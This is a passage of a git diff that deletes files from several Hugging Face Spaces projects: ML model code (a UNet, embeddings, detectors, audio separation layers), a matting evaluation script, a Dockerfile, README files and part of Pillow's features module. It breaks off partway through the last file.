a/spaces/Robert001/UniControl-Demo/annotator/uniformer/mmcv/runner/hooks/logger/wandb.py +++ /dev/null @@ -1,56 +0,0 @@ -# Copyright (c) OpenMMLab. All rights reserved. -from ...dist_utils import master_only -from ..hook import HOOKS -from .base import LoggerHook - - -@HOOKS.register_module() -class WandbLoggerHook(LoggerHook): - - def __init__(self, - init_kwargs=None, - interval=10, - ignore_last=True, - reset_flag=False, - commit=True, - by_epoch=True, - with_step=True): - super(WandbLoggerHook, self).__init__(interval, ignore_last, - reset_flag, by_epoch) - self.import_wandb() - self.init_kwargs = init_kwargs - self.commit = commit - self.with_step = with_step - - def import_wandb(self): - try: - import wandb - except ImportError: - raise ImportError( - 'Please run "pip install wandb" to install wandb') - self.wandb = wandb - - @master_only - def before_run(self, runner): - super(WandbLoggerHook, self).before_run(runner) - if self.wandb is None: - self.import_wandb() - if self.init_kwargs: - self.wandb.init(**self.init_kwargs) - else: - self.wandb.init() - - @master_only - def log(self, runner): - tags = self.get_loggable_tags(runner) - if tags: - if self.with_step: - self.wandb.log( - tags, step=self.get_iter(runner), commit=self.commit) - else: - tags['global_step'] = self.get_iter(runner) - self.wandb.log(tags, commit=self.commit) - - @master_only - def after_run(self, runner): - self.wandb.join() diff --git a/spaces/Robert001/UniControl-Demo/annotator/uniformer/mmdet_null/models/detectors/gfl.py b/spaces/Robert001/UniControl-Demo/annotator/uniformer/mmdet_null/models/detectors/gfl.py deleted file mode 100644 index 64d65cb2dfb7a56f57e08c3fcad67e1539e1e841..0000000000000000000000000000000000000000 --- a/spaces/Robert001/UniControl-Demo/annotator/uniformer/mmdet_null/models/detectors/gfl.py +++ /dev/null @@ -1,16 +0,0 @@ -from ..builder import DETECTORS -from .single_stage import SingleStageDetector - - -@DETECTORS.register_module() -class GFL(SingleStageDetector): - - def __init__(self, - backbone, - neck, - bbox_head, - train_cfg=None, - test_cfg=None, - pretrained=None): - super(GFL, self).__init__(backbone, neck, bbox_head, train_cfg, - test_cfg, pretrained) diff --git a/spaces/Salesforce/EDICT/my_diffusers/models/unet_2d.py b/spaces/Salesforce/EDICT/my_diffusers/models/unet_2d.py deleted file mode 100644 index 3a51ecf79e6ac5da400c97f0b38e2593ae86ed70..0000000000000000000000000000000000000000 --- a/spaces/Salesforce/EDICT/my_diffusers/models/unet_2d.py +++ /dev/null @@ -1,246 +0,0 @@ -from dataclasses import dataclass -from typing import Optional, Tuple, Union - -import torch -import torch.nn as nn - -from ..configuration_utils import ConfigMixin, register_to_config -from ..modeling_utils import ModelMixin -from ..utils import BaseOutput -from .embeddings import GaussianFourierProjection, TimestepEmbedding, Timesteps -from .unet_blocks import UNetMidBlock2D, get_down_block, get_up_block - - -@dataclass -class UNet2DOutput(BaseOutput): - """ - Args: - sample (`torch.FloatTensor` of shape `(batch_size, num_channels, height, width)`): - Hidden states output. Output of last layer of model. - """ - - sample: torch.DoubleTensor - - -class UNet2DModel(ModelMixin, ConfigMixin): - r""" - UNet2DModel is a 2D UNet model that takes in a noisy sample and a timestep and returns sample shaped output. - - This model inherits from [`ModelMixin`]. Check the superclass documentation for the generic methods the library - implements for all the model (such as downloading or saving, etc.) - - Parameters: - sample_size (`torch.FloatTensor` of shape `(batch_size, num_channels, height, width)`, *optional*): - Input sample size. - in_channels (`int`, *optional*, defaults to 3): Number of channels in the input image. - out_channels (`int`, *optional*, defaults to 3): Number of channels in the output. - center_input_sample (`bool`, *optional*, defaults to `False`): Whether to center the input sample. - time_embedding_type (`str`, *optional*, defaults to `"positional"`): Type of time embedding to use. - freq_shift (`int`, *optional*, defaults to 0): Frequency shift for fourier time embedding. - flip_sin_to_cos (`bool`, *optional*, defaults to : - obj:`False`): Whether to flip sin to cos for fourier time embedding. - down_block_types (`Tuple[str]`, *optional*, defaults to : - obj:`("DownBlock2D", "AttnDownBlock2D", "AttnDownBlock2D", "AttnDownBlock2D")`): Tuple of downsample block - types. - up_block_types (`Tuple[str]`, *optional*, defaults to : - obj:`("AttnUpBlock2D", "AttnUpBlock2D", "AttnUpBlock2D", "UpBlock2D")`): Tuple of upsample block types. - block_out_channels (`Tuple[int]`, *optional*, defaults to : - obj:`(224, 448, 672, 896)`): Tuple of block output channels. - layers_per_block (`int`, *optional*, defaults to `2`): The number of layers per block. - mid_block_scale_factor (`float`, *optional*, defaults to `1`): The scale factor for the mid block. - downsample_padding (`int`, *optional*, defaults to `1`): The padding for the downsample convolution. - act_fn (`str`, *optional*, defaults to `"silu"`): The activation function to use. - attention_head_dim (`int`, *optional*, defaults to `8`): The attention head dimension. - norm_num_groups (`int`, *optional*, defaults to `32`): The number of groups for the normalization. - norm_eps (`float`, *optional*, defaults to `1e-5`): The epsilon for the normalization. - """ - - @register_to_config - def __init__( - self, - sample_size: Optional[int] = None, - in_channels: int = 3, - out_channels: int = 3, - center_input_sample: bool = False, - time_embedding_type: str = "positional", - freq_shift: int = 0, - flip_sin_to_cos: bool = True, - down_block_types: Tuple[str] = ("DownBlock2D", "AttnDownBlock2D", "AttnDownBlock2D", "AttnDownBlock2D"), - up_block_types: Tuple[str] = ("AttnUpBlock2D", "AttnUpBlock2D", "AttnUpBlock2D", "UpBlock2D"), - block_out_channels: Tuple[int] = (224, 448, 672, 896), - layers_per_block: int = 2, - mid_block_scale_factor = 1, - downsample_padding: int = 1, - act_fn: str = "silu", - attention_head_dim: int = 8, - norm_num_groups: int = 32, - norm_eps = 1e-5, - ): - super().__init__() - - self.sample_size = sample_size - time_embed_dim = block_out_channels[0] * 4 - - # input - self.conv_in = nn.Conv2d(in_channels, block_out_channels[0], kernel_size=3, padding=(1, 1)) - - # time - if time_embedding_type == "fourier": - self.time_proj = GaussianFourierProjection(embedding_size=block_out_channels[0], scale=16) - timestep_input_dim = 2 * block_out_channels[0] - elif time_embedding_type == "positional": - self.time_proj = Timesteps(block_out_channels[0], flip_sin_to_cos, freq_shift) - timestep_input_dim = block_out_channels[0] - - self.time_embedding = TimestepEmbedding(timestep_input_dim, time_embed_dim) - - self.down_blocks = nn.ModuleList([]) - self.mid_block = None - self.up_blocks = nn.ModuleList([]) - - # down - output_channel = block_out_channels[0] - for i, down_block_type in enumerate(down_block_types): - input_channel = output_channel - output_channel = block_out_channels[i] - is_final_block = i == len(block_out_channels) - 1 - - down_block = get_down_block( - down_block_type, - num_layers=layers_per_block, - in_channels=input_channel, - out_channels=output_channel, - temb_channels=time_embed_dim, - add_downsample=not is_final_block, - resnet_eps=norm_eps, - resnet_act_fn=act_fn, - attn_num_head_channels=attention_head_dim, - downsample_padding=downsample_padding, - ) - self.down_blocks.append(down_block) - - # mid - self.mid_block = UNetMidBlock2D( - in_channels=block_out_channels[-1], - temb_channels=time_embed_dim, - resnet_eps=norm_eps, - resnet_act_fn=act_fn, - output_scale_factor=mid_block_scale_factor, - resnet_time_scale_shift="default", - attn_num_head_channels=attention_head_dim, - resnet_groups=norm_num_groups, - ) - - # up - reversed_block_out_channels = list(reversed(block_out_channels)) - output_channel = reversed_block_out_channels[0] - for i, up_block_type in enumerate(up_block_types): - prev_output_channel = output_channel - output_channel = reversed_block_out_channels[i] - input_channel = reversed_block_out_channels[min(i + 1, len(block_out_channels) - 1)] - - is_final_block = i == len(block_out_channels) - 1 - - up_block = get_up_block( - up_block_type, - num_layers=layers_per_block + 1, - in_channels=input_channel, - out_channels=output_channel, - prev_output_channel=prev_output_channel, - temb_channels=time_embed_dim, - add_upsample=not is_final_block, - resnet_eps=norm_eps, - resnet_act_fn=act_fn, - attn_num_head_channels=attention_head_dim, - ) - self.up_blocks.append(up_block) - prev_output_channel = output_channel - - # out - num_groups_out = norm_num_groups if norm_num_groups is not None else min(block_out_channels[0] // 4, 32) - self.conv_norm_out = nn.GroupNorm(num_channels=block_out_channels[0], num_groups=num_groups_out, eps=norm_eps) - self.conv_act = nn.SiLU() - self.conv_out = nn.Conv2d(block_out_channels[0], out_channels, 3, padding=1) - - def forward( - self, - sample: torch.DoubleTensor, - timestep: Union[torch.Tensor, float, int], - return_dict: bool = True, - ) -> Union[UNet2DOutput, Tuple]: - """r - Args: - sample (`torch.FloatTensor`): (batch, channel, height, width) noisy inputs tensor - timestep (`torch.FloatTensor` or `float` or `int): (batch) timesteps - return_dict (`bool`, *optional*, defaults to `True`): - Whether or not to return a [`~models.unet_2d.UNet2DOutput`] instead of a plain tuple. - - Returns: - [`~models.unet_2d.UNet2DOutput`] or `tuple`: [`~models.unet_2d.UNet2DOutput`] if `return_dict` is True, - otherwise a `tuple`. When returning a tuple, the first element is the sample tensor. - """ - # 0. center input if necessary - if self.config.center_input_sample: - sample = 2 * sample - 1.0 - - # 1. time - timesteps = timestep - if not torch.is_tensor(timesteps): - timesteps = torch.tensor([timesteps], dtype=torch.long, device=sample.device) - elif torch.is_tensor(timesteps) and len(timesteps.shape) == 0: - timesteps = timesteps[None].to(sample.device) - - # broadcast to batch dimension in a way that's compatible with ONNX/Core ML - timesteps = timesteps * torch.ones(sample.shape[0], dtype=timesteps.dtype, device=timesteps.device) - - t_emb = self.time_proj(timesteps) - emb = self.time_embedding(t_emb) - - # 2. pre-process - skip_sample = sample - sample = self.conv_in(sample) - - # 3. down - down_block_res_samples = (sample,) - for downsample_block in self.down_blocks: - if hasattr(downsample_block, "skip_conv"): - sample, res_samples, skip_sample = downsample_block( - hidden_states=sample, temb=emb, skip_sample=skip_sample - ) - else: - sample, res_samples = downsample_block(hidden_states=sample, temb=emb) - - down_block_res_samples += res_samples - - # 4. mid - sample = self.mid_block(sample, emb) - - # 5. up - skip_sample = None - for upsample_block in self.up_blocks: - res_samples = down_block_res_samples[-len(upsample_block.resnets) :] - down_block_res_samples = down_block_res_samples[: -len(upsample_block.resnets)] - - if hasattr(upsample_block, "skip_conv"): - sample, skip_sample = upsample_block(sample, res_samples, emb, skip_sample) - else: - sample = upsample_block(sample, res_samples, emb) - - # 6. post-process - # make sure hidden states is in float32 - # when running in half-precision - sample = self.conv_norm_out(sample.double()).type(sample.dtype) - sample = self.conv_act(sample) - sample = self.conv_out(sample) - - if skip_sample is not None: - sample += skip_sample - - if self.config.time_embedding_type == "fourier": - timesteps = timesteps.reshape((sample.shape[0], *([1] * len(sample.shape[1:])))) - sample = sample / timesteps - - if not return_dict: - return (sample,) - - return UNet2DOutput(sample=sample) diff --git a/spaces/Salesforce/EDICT/my_half_diffusers/models/embeddings.py b/spaces/Salesforce/EDICT/my_half_diffusers/models/embeddings.py deleted file mode 100644 index 57a6d14e0d226abd5e4c3f3f506d028bffdf3b22..0000000000000000000000000000000000000000 --- a/spaces/Salesforce/EDICT/my_half_diffusers/models/embeddings.py +++ /dev/null @@ -1,116 +0,0 @@ -# Copyright 2022 The HuggingFace Team. All rights reserved. -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. -import math - -import numpy as np -import torch -from torch import nn - - -def get_timestep_embedding( - timesteps: torch.Tensor, - embedding_dim: int, - flip_sin_to_cos: bool = False, - downscale_freq_shift: float = 1, - scale: float = 1, - max_period: int = 10000, -): - # print(timesteps) - """ - This matches the implementation in Denoising Diffusion Probabilistic Models: Create sinusoidal timestep embeddings. - - :param timesteps: a 1-D Tensor of N indices, one per batch element. - These may be fractional. - :param embedding_dim: the dimension of the output. :param max_period: controls the minimum frequency of the - embeddings. :return: an [N x dim] Tensor of positional embeddings. - """ - assert len(timesteps.shape) == 1, "Timesteps should be a 1d-array" - - half_dim = embedding_dim // 2 - exponent = -math.log(max_period) * torch.arange(start=0, end=half_dim, dtype=torch.float32) - exponent = exponent / (half_dim - downscale_freq_shift) - - emb = torch.exp(exponent).to(device=timesteps.device) - emb = timesteps[:, None] * emb[None, :] - - # scale embeddings - emb = scale * emb - - # concat sine and cosine embeddings - emb = torch.cat([torch.sin(emb), torch.cos(emb)], dim=-1) - - # flip sine and cosine embeddings - if flip_sin_to_cos: - emb = torch.cat([emb[:, half_dim:], emb[:, :half_dim]], dim=-1) - - # zero pad - if embedding_dim % 2 == 1: - emb = torch.nn.functional.pad(emb, (0, 1, 0, 0)) - return emb.to(torch.float16) - - -class TimestepEmbedding(nn.Module): - def __init__(self, channel: int, time_embed_dim: int, act_fn: str = "silu"): - super().__init__() - - self.linear_1 = nn.Linear(channel, time_embed_dim) - self.act = None - if act_fn == "silu": - self.act = nn.SiLU() - self.linear_2 = nn.Linear(time_embed_dim, time_embed_dim) - - def forward(self, sample): - sample = self.linear_1(sample) - - if self.act is not None: - sample = self.act(sample) - - sample = self.linear_2(sample) - return sample - - -class Timesteps(nn.Module): - def __init__(self, num_channels: int, flip_sin_to_cos: bool, downscale_freq_shift: float): - super().__init__() - self.num_channels = num_channels - self.flip_sin_to_cos = flip_sin_to_cos - self.downscale_freq_shift = downscale_freq_shift - - def forward(self, timesteps): - t_emb = get_timestep_embedding( - timesteps, - self.num_channels, - flip_sin_to_cos=self.flip_sin_to_cos, - downscale_freq_shift=self.downscale_freq_shift, - ) - return t_emb - - -class GaussianFourierProjection(nn.Module): - """Gaussian Fourier embeddings for noise levels.""" - - def __init__(self, embedding_size: int = 256, scale: float = 1.0): - super().__init__() - self.weight = nn.Parameter(torch.randn(embedding_size) * scale, requires_grad=False) - - # to delete later - self.W = nn.Parameter(torch.randn(embedding_size) * scale, requires_grad=False) - - self.weight = self.W - - def forward(self, x): - x = torch.log(x) - x_proj = x[:, None] * self.weight[None, :] * 2 * np.pi - out = torch.cat([torch.sin(x_proj), torch.cos(x_proj)], dim=-1) - return out diff --git a/spaces/SankarSrin/image-matting-app/ppmatting/core/val.py b/spaces/SankarSrin/image-matting-app/ppmatting/core/val.py deleted file mode 100644 index 3e3117725ab3792fc7a2344082ad45f26cb2cd28..0000000000000000000000000000000000000000 --- a/spaces/SankarSrin/image-matting-app/ppmatting/core/val.py +++ /dev/null @@ -1,162 +0,0 @@ -# Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved. -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -import os - -import cv2 -import numpy as np -import time -import paddle -import paddle.nn.functional as F -from paddleseg.utils import TimeAverager, calculate_eta, logger, progbar - -from ppmatting.metrics import metrics_class_dict - -np.set_printoptions(suppress=True) - - -def save_alpha_pred(alpha, path): - """ - The value of alpha is range [0, 1], shape should be [h,w] - """ - dirname = os.path.dirname(path) - if not os.path.exists(dirname): - os.makedirs(dirname) - - alpha = (alpha).astype('uint8') - cv2.imwrite(path, alpha) - - -def reverse_transform(alpha, trans_info): - """recover pred to origin shape""" - for item in trans_info[::-1]: - if item[0][0] == 'resize': - h, w = item[1][0], item[1][1] - alpha = F.interpolate(alpha, [h, w], mode='bilinear') - elif item[0][0] == 'padding': - h, w = item[1][0], item[1][1] - alpha = alpha[:, :, 0:h, 0:w] - else: - raise Exception("Unexpected info '{}' in im_info".format(item[0])) - return alpha - - -def evaluate(model, - eval_dataset, - num_workers=0, - print_detail=True, - save_dir='output/results', - save_results=True, - metrics='sad'): - model.eval() - nranks = paddle.distributed.ParallelEnv().nranks - local_rank = paddle.distributed.ParallelEnv().local_rank - if nranks > 1: - # Initialize parallel environment if not done. - if not paddle.distributed.parallel.parallel_helper._is_parallel_ctx_initialized( - ): - paddle.distributed.init_parallel_env() - - loader = paddle.io.DataLoader( - eval_dataset, - batch_size=1, - drop_last=False, - num_workers=num_workers, - return_list=True, ) - - total_iters = len(loader) - # Get metric instances and data saving - metrics_ins = {} - metrics_data = {} - if isinstance(metrics, str): - metrics = [metrics] - elif not isinstance(metrics, list): - metrics = ['sad'] - for key in metrics: - key = key.lower() - metrics_ins[key] = metrics_class_dict[key]() - metrics_data[key] = None - - if print_detail: - logger.info("Start evaluating (total_samples: {}, total_iters: {})...". - format(len(eval_dataset), total_iters)) - progbar_val = progbar.Progbar( - target=total_iters, verbose=1 if nranks < 2 else 2) - reader_cost_averager = TimeAverager() - batch_cost_averager = TimeAverager() - batch_start = time.time() - - img_name = '' - i = 0 - with paddle.no_grad(): - for iter, data in enumerate(loader): - reader_cost_averager.record(time.time() - batch_start) - alpha_pred = model(data) - - alpha_pred = reverse_transform(alpha_pred, data['trans_info']) - alpha_pred = alpha_pred.numpy() - - alpha_gt = data['alpha'].numpy() * 255 - trimap = data.get('ori_trimap') - if trimap is not None: - trimap = trimap.numpy().astype('uint8') - alpha_pred = np.round(alpha_pred * 255) - for key in metrics_ins.keys(): - metrics_data[key] = metrics_ins[key].update(alpha_pred, - alpha_gt, trimap) - - if save_results: - alpha_pred_one = alpha_pred[0].squeeze() - if trimap is not None: - trimap = trimap.squeeze().astype('uint8') - alpha_pred_one[trimap == 255] = 255 - alpha_pred_one[trimap == 0] = 0 - - save_name = data['img_name'][0] - name, ext = os.path.splitext(save_name) - if save_name == img_name: - save_name = name + '_' + str(i) + ext - i += 1 - else: - img_name = save_name - save_name = name + '_' + str(i) + ext - i = 1 - - save_alpha_pred(alpha_pred_one, - os.path.join(save_dir, save_name)) - - batch_cost_averager.record( - time.time() - batch_start, num_samples=len(alpha_gt)) - batch_cost = batch_cost_averager.get_average() - reader_cost = reader_cost_averager.get_average() - - if local_rank == 0 and print_detail: - show_list = [(k, v) for k, v in metrics_data.items()] - show_list = show_list + [('batch_cost', batch_cost), - ('reader cost', reader_cost)] - progbar_val.update(iter + 1, show_list) - - reader_cost_averager.reset() - batch_cost_averager.reset() - batch_start = time.time() - - for key in metrics_ins.keys(): - metrics_data[key] = metrics_ins[key].evaluate() - log_str = '[EVAL] ' - for key, value in metrics_data.items(): - log_str = log_str + key + ': {:.4f}, '.format(value) - log_str = log_str[:-2] - - logger.info(log_str) - return metrics_data diff --git a/spaces/SantiagoMoreno-UdeA/NER_RC/Dockerfile b/spaces/SantiagoMoreno-UdeA/NER_RC/Dockerfile deleted file mode 100644 index 420425f22cb121d3cf1478d512ff21e2365a1e9f..0000000000000000000000000000000000000000 --- a/spaces/SantiagoMoreno-UdeA/NER_RC/Dockerfile +++ /dev/null @@ -1,19 +0,0 @@ -FROM ubuntu:18.04 -RUN apt-get update -RUN apt-get upgrade -y -RUN apt install -y software-properties-common -RUN apt-get install --reinstall ca-certificates -RUN add-apt-repository ppa:deadsnakes/ppa -RUN apt-get install -y python3.9 -RUN apt install -y python3.9-distutils -RUN update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.9 1 -RUN update-alternatives --install /usr/bin/python python /usr/bin/python3.9 1 -RUN apt-get install -y python3-pip -RUN pip3 install --upgrade setuptools -RUN pip3 install --upgrade pip -RUN pip3 install --upgrade distlib -WORKDIR /workspace -ADD . /workspace/ -ENV HOME=/workspace -RUN pip install -r requirements.txt -CMD ["python", "execute_GUI.py"] diff --git a/spaces/Sarath2002/YouTube_Video_Summarizer/README.md b/spaces/Sarath2002/YouTube_Video_Summarizer/README.md deleted file mode 100644 index 4de88cb3f8e111ae4ca5ef70c7526e153b6ccc75..0000000000000000000000000000000000000000 --- a/spaces/Sarath2002/YouTube_Video_Summarizer/README.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -license: apache-2.0 -title: Youtube_Video_Summarizer -sdk: gradio -colorFrom: purple -colorTo: red ---- -The project aims to generate a summary for a YouTube video by leveraging the uploaded or auto-generated subtitles. The summarization process involves two steps: an extractive summarization using the TextRank algorithm from the Sumy package, followed by a further summarization using the BART model with a maximum limit of 512 words. - -In the first step, the subtitles of the YouTube video are extracted and processed using the TextRank algorithm. This algorithm identifies important sentences based on their connectivity and importance within the text. It assigns scores to each sentence and selects the most significant ones to form an intermediate summary. - -In the second step, the intermediate summary generated by TextRank is passed through the BART model. BART (Bidirectional and AutoRegressive Transformer) is a powerful language model capable of generating abstractive summaries. The BART model fine-tuned for summarization tasks is utilized to summarize the intermediate summary into a final summary, ensuring that the final summary does not exceed the limit of 512 words. Since the intermediate summary is fed into the BART summarizer, it is made sure that only the top priority sentences get into the summary pool, thus reducing the workload on the abstractive summarizer - -By combining extractive summarization using TextRank and abstractive summarization using BART, the project aims to provide a concise and informative summary for YouTube videos, enabling users to quickly grasp the key points and main ideas without having to watch the entire video. \ No newline at end of file diff --git a/spaces/Sentdex/LookingGlassRGBD/README.md b/spaces/Sentdex/LookingGlassRGBD/README.md deleted file mode 100644 index 815b553164ca122ca9a9a2e461ee4eed1fe52857..0000000000000000000000000000000000000000 --- a/spaces/Sentdex/LookingGlassRGBD/README.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: LookinGlassRGBD -emoji: 👁 -colorFrom: yellow -colorTo: gray -sdk: gradio -sdk_version: 3.11.0 -app_file: app.py -pinned: false -license: mit ---- - -Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference diff --git a/spaces/ServerX/PorcoDiaz/infer/lib/uvr5_pack/lib_v5/layers_537238KB.py b/spaces/ServerX/PorcoDiaz/infer/lib/uvr5_pack/lib_v5/layers_537238KB.py deleted file mode 100644 index 9b127bc6427f5c60c8cf85603a3d8a093c3501c4..0000000000000000000000000000000000000000 --- a/spaces/ServerX/PorcoDiaz/infer/lib/uvr5_pack/lib_v5/layers_537238KB.py +++ /dev/null @@ -1,126 +0,0 @@ -import torch -import torch.nn.functional as F -from torch import nn - -from . import spec_utils - - -class Conv2DBNActiv(nn.Module): - def __init__(self, nin, nout, ksize=3, stride=1, pad=1, dilation=1, activ=nn.ReLU): - super(Conv2DBNActiv, self).__init__() - self.conv = nn.Sequential( - nn.Conv2d( - nin, - nout, - kernel_size=ksize, - stride=stride, - padding=pad, - dilation=dilation, - bias=False, - ), - nn.BatchNorm2d(nout), - activ(), - ) - - def __call__(self, x): - return self.conv(x) - - -class SeperableConv2DBNActiv(nn.Module): - def __init__(self, nin, nout, ksize=3, stride=1, pad=1, dilation=1, activ=nn.ReLU): - super(SeperableConv2DBNActiv, self).__init__() - self.conv = nn.Sequential( - nn.Conv2d( - nin, - nin, - kernel_size=ksize, - stride=stride, - padding=pad, - dilation=dilation, - groups=nin, - bias=False, - ), - nn.Conv2d(nin, nout, kernel_size=1, bias=False), - nn.BatchNorm2d(nout), - activ(), - ) - - def __call__(self, x): - return self.conv(x) - - -class Encoder(nn.Module): - def __init__(self, nin, nout, ksize=3, stride=1, pad=1, activ=nn.LeakyReLU): - super(Encoder, self).__init__() - self.conv1 = Conv2DBNActiv(nin, nout, ksize, 1, pad, activ=activ) - self.conv2 = Conv2DBNActiv(nout, nout, ksize, stride, pad, activ=activ) - - def __call__(self, x): - skip = self.conv1(x) - h = self.conv2(skip) - - return h, skip - - -class Decoder(nn.Module): - def __init__( - self, nin, nout, ksize=3, stride=1, pad=1, activ=nn.ReLU, dropout=False - ): - super(Decoder, self).__init__() - self.conv = Conv2DBNActiv(nin, nout, ksize, 1, pad, activ=activ) - self.dropout = nn.Dropout2d(0.1) if dropout else None - - def __call__(self, x, skip=None): - x = F.interpolate(x, scale_factor=2, mode="bilinear", align_corners=True) - if skip is not None: - skip = spec_utils.crop_center(skip, x) - x = torch.cat([x, skip], dim=1) - h = self.conv(x) - - if self.dropout is not None: - h = self.dropout(h) - - return h - - -class ASPPModule(nn.Module): - def __init__(self, nin, nout, dilations=(4, 8, 16, 32, 64), activ=nn.ReLU): - super(ASPPModule, self).__init__() - self.conv1 = nn.Sequential( - nn.AdaptiveAvgPool2d((1, None)), - Conv2DBNActiv(nin, nin, 1, 1, 0, activ=activ), - ) - self.conv2 = Conv2DBNActiv(nin, nin, 1, 1, 0, activ=activ) - self.conv3 = SeperableConv2DBNActiv( - nin, nin, 3, 1, dilations[0], dilations[0], activ=activ - ) - self.conv4 = SeperableConv2DBNActiv( - nin, nin, 3, 1, dilations[1], dilations[1], activ=activ - ) - self.conv5 = SeperableConv2DBNActiv( - nin, nin, 3, 1, dilations[2], dilations[2], activ=activ - ) - self.conv6 = SeperableConv2DBNActiv( - nin, nin, 3, 1, dilations[2], dilations[2], activ=activ - ) - self.conv7 = SeperableConv2DBNActiv( - nin, nin, 3, 1, dilations[2], dilations[2], activ=activ - ) - self.bottleneck = nn.Sequential( - Conv2DBNActiv(nin * 7, nout, 1, 1, 0, activ=activ), nn.Dropout2d(0.1) - ) - - def forward(self, x): - _, _, h, w = x.size() - feat1 = F.interpolate( - self.conv1(x), size=(h, w), mode="bilinear", align_corners=True - ) - feat2 = self.conv2(x) - feat3 = self.conv3(x) - feat4 = self.conv4(x) - feat5 = self.conv5(x) - feat6 = self.conv6(x) - feat7 = self.conv7(x) - out = torch.cat((feat1, feat2, feat3, feat4, feat5, feat6, feat7), dim=1) - bottle = self.bottleneck(out) - return bottle diff --git a/spaces/Silentlin/DiffSinger/utils/audio.py b/spaces/Silentlin/DiffSinger/utils/audio.py deleted file mode 100644 index aba7ab926cf793d085bbdc70c97f376001183fe1..0000000000000000000000000000000000000000 --- a/spaces/Silentlin/DiffSinger/utils/audio.py +++ /dev/null @@ -1,56 +0,0 @@ -import subprocess -import matplotlib - -matplotlib.use('Agg') -import librosa -import librosa.filters -import numpy as np -from scipy import signal -from scipy.io import wavfile - - -def save_wav(wav, path, sr, norm=False): - if norm: - wav = wav / np.abs(wav).max() - wav *= 32767 - # proposed by @dsmiller - wavfile.write(path, sr, wav.astype(np.int16)) - - -def get_hop_size(hparams): - hop_size = hparams['hop_size'] - if hop_size is None: - assert hparams['frame_shift_ms'] is not None - hop_size = int(hparams['frame_shift_ms'] / 1000 * hparams['audio_sample_rate']) - return hop_size - - -########################################################################################### -def _stft(y, hparams): - return librosa.stft(y=y, n_fft=hparams['fft_size'], hop_length=get_hop_size(hparams), - win_length=hparams['win_size'], pad_mode='constant') - - -def _istft(y, hparams): - return librosa.istft(y, hop_length=get_hop_size(hparams), win_length=hparams['win_size']) - - -def librosa_pad_lr(x, fsize, fshift, pad_sides=1): - '''compute right padding (final frame) or both sides padding (first and final frames) - ''' - assert pad_sides in (1, 2) - # return int(fsize // 2) - pad = (x.shape[0] // fshift + 1) * fshift - x.shape[0] - if pad_sides == 1: - return 0, pad - else: - return pad // 2, pad // 2 + pad % 2 - - -# Conversions -def amp_to_db(x): - return 20 * np.log10(np.maximum(1e-5, x)) - - -def normalize(S, hparams): - return (S - hparams['min_level_db']) / -hparams['min_level_db'] diff --git a/spaces/SungBeom/chatwine-korean/.venv/Lib/site-packages/PIL/features.py b/spaces/SungBeom/chatwine-korean/.venv/Lib/site-packages/PIL/features.py deleted file mode 100644 index 80a16a75e0c87e91aae97be53586cb986d7c8d7f..0000000000000000000000000000000000000000 --- a/spaces/SungBeom/chatwine-korean/.venv/Lib/site-packages/PIL/features.py +++ /dev/null @@ -1,329 +0,0 @@ -import collections -import os -import sys -import warnings - -import PIL - -from . import Image - -modules = { - "pil": ("PIL._imaging", "PILLOW_VERSION"), - "tkinter": ("PIL._tkinter_finder", "tk_version"), - "freetype2": ("PIL._imagingft", "freetype2_version"), - "littlecms2": ("PIL._imagingcms", "littlecms_version"), - "webp": ("PIL._webp", "webpdecoder_version"), -} - - -def check_module(feature): - """ - Checks if a module is available. - - :param feature: The module to check for. - :returns: ``True`` if available, ``False`` otherwise. - :raises ValueError: If the module is not defined in this version of Pillow. - """ - if not (feature in modules): - msg = f"Unknown module {feature}" - raise ValueError(msg) - - module, ver = modules[feature] - - try: - __import__(module) - return True - except ModuleNotFoundError: - return False - except ImportError as ex: - warnings.warn(str(ex)) - return False - - -def version_module(feature): - """ - :param feature: The module to check for. - :returns: - The loaded version number as a string, or ``None`` if unknown or not available. - :raises ValueError: If the module is not defined in this version of Pillow. - """ - if not check_module(feature): - return None - - module, ver = modules[feature] - - if ver is None: - return None - - return getattr(__import__(module, fromlist=[ver]), ver) - - -def get_supported_modules(): - """ - :returns: A list of all supported modules. - """ - return [f for f in modules if check_module(f)] - - -codecs = { - "jpg": ("jpeg", "jpeglib"), - "jpg_2000": ("jpeg2k", "jp2klib"), - "zlib": ("zip", "zlib"), - "libtiff": ("libtiff", "libtiff"), -} - - -def check_codec(feature): - """ - Checks if a codec is available. - - :param feature: The codec to check for. - :returns: ``True`` if available, ``False`` otherwise. - :raises ValueError: If the codec is not defined in this version of Pillow. - """ - if feature not in codecs: - msg = f"Unknown codec {feature}" - raise ValueError(msg) - - codec, lib = codecs[feature] - - return codec + "_encoder" in dir(Image.core) - - -def version_codec(feature): - """ - :param feature: The codec to check for. - :returns: - The version number as a string, or ``None`` if not available. - Checked at compile time for ``jpg``, run-time otherwise. - :raises ValueError: If the codec is not defined in this version of Pillow. - """ - if not check_codec(feature): - return None - - codec, lib = codecs[feature] - - version = getattr(Image.core, lib + "_version") - - if feature == "libtiff": - return version.split("\n")[0].split("Version ")[1] - - return version - - -def get_supported_codecs(): - """ - :returns: A list of all supported codecs. - """ - return [f for f in codecs if check_codec(f)] - - -features = { - "webp_anim": ("PIL._webp", "HAVE_WEBPANIM", None), - "webp_mux": ("PIL._webp", "HAVE_WEBPMUX", None), - "transp_webp": ("PIL._webp", "HAVE_TRANSPARENCY", None), - "raqm": ("PIL._imagingft", "HAVE_RAQM", "raqm_version"), - "fribidi": ("PIL._imagingft", "HAVE_FRIBIDI", "fribidi_version"), - "harfbuzz": ("PIL._imagingft", "HAVE_HARFBUZZ", "harfbuzz_version"), - "libjpeg_turbo": ("PIL._imaging", 